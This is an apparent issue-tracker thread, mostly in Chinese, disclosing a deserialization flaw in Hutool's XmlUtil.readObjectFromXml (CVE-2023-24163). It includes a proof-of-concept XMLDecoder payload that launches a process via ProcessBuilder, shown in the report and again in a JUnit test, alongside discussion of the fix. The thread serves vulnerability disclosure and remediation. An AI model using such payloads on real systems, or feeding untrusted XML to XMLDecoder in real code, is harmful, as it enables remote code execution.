Hutool 提供了 XML 工具类,使用 XmlUtil.readObjectFromXml 来解释不受信任 XML 字符串时,可能容易受到远程代码执行攻击
程序会调用 XMLDecoder.readObject 解析 XML 字符串,造成反序列化漏洞
cn.hutool.core.util.XmlUtil#readObjectFromXml
XmlUtil.readObjectFromXml("<java>\n" +
" <object class=\"java.lang.ProcessBuilder\">\n" +
" <array class=\"java.lang.String\" length=\"1\">\n" +
" <void index=\"0\">\n" +
" <string>calc</string>\n" +
" </void>\n" +
" </array>\n" +
" <void method=\"start\"></void>\n" +
" </object>\n" +
"</java>\n");
这玩意我记得jdk1.4-jdk11都有吧,只要用了官方的
CVE-2017-3506、CVE-2017-10271、CVE-2019-2729
不行到时候糊层黑名单吧
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。
严格来说这是JDK的漏洞,Hutool只是做了一层封装。
看来只能干掉这个方法?
我在注释中增加了警告:
可以在新版本中把这个方法拿掉吗?
过不了很多公司的安全扫描,影响Hutool在正规项目中的推广。公司不允许项目包中存在High以上漏洞的第三方包。
这个问题处理过了吗,有没有升级的没有critical的版本可以使用
但是待反序列化的内容是否存在安全问题,难道不应该是由使用者自己去判断么,为什么要等着让该方法的提供者来判断
5.8.21 CVE-2023-24163 fixed.
删除的代码 readObjectFromXml
package org.dromara.hutool.core;
import org.dromara.hutool.core.io.IoUtil;
import org.dromara.hutool.core.io.file.FileUtil;
import org.dromara.hutool.core.text.StrUtil;
import org.dromara.hutool.core.xml.XmlUtil;
import org.junit.jupiter.api.Test;
import org.xml.sax.InputSource;
import java.beans.XMLDecoder;
import java.io.File;
/**
* 描述信息
*
* @author dazer
* @date 2024/2/20 14:12
**/
public class XmlUtilsTest extends XmlUtil {
// ---------------------------------------------------------------------------------------- Private method end
/**
* 从XML中读取对象 Reads serialized object from the XML file.
*
* @param <T> 对象类型
* @param source XML文件
* @return 对象
*/
public static <T> T readObjectFromXml(final File source) {
return readObjectFromXml(new InputSource(FileUtil.getInputStream(source)));
}
/**
* 从XML中读取对象 Reads serialized object from the XML file.
*
* @param <T> 对象类型
* @param xmlStr XML内容
* @return 对象
* @since 3.2.0
*/
public static <T> T readObjectFromXml(final String xmlStr) {
return readObjectFromXml(new InputSource(StrUtil.getReader(xmlStr)));
}
/**
* 从XML中读取对象 Reads serialized object from the XML file.
*
* @param <T> 对象类型
* @param source {@link InputSource}
* @return 对象
* @since 3.2.0
*/
@SuppressWarnings("unchecked")
public static <T> T readObjectFromXml(final InputSource source) {
Object result;
XMLDecoder xmldec = null;
try {
xmldec = new XMLDecoder(source);
result = xmldec.readObject();
} finally {
IoUtil.closeQuietly(xmldec);
}
return (T) result;
}
@Test
public void test() {
XmlUtil.readObjectFromXml("<java>\n" +
" <object class=\"java.lang.ProcessBuilder\">\n" +
" <array class=\"java.lang.String\" length=\"1\">\n" +
" <void index=\"0\">\n" +
" <string>calc</string>\n" +
" </void>\n" +
" </array>\n" +
" <void method=\"start\"></void>\n" +
" </object>\n" +
"</java>\n");
}
}
登录 后才可以发表评论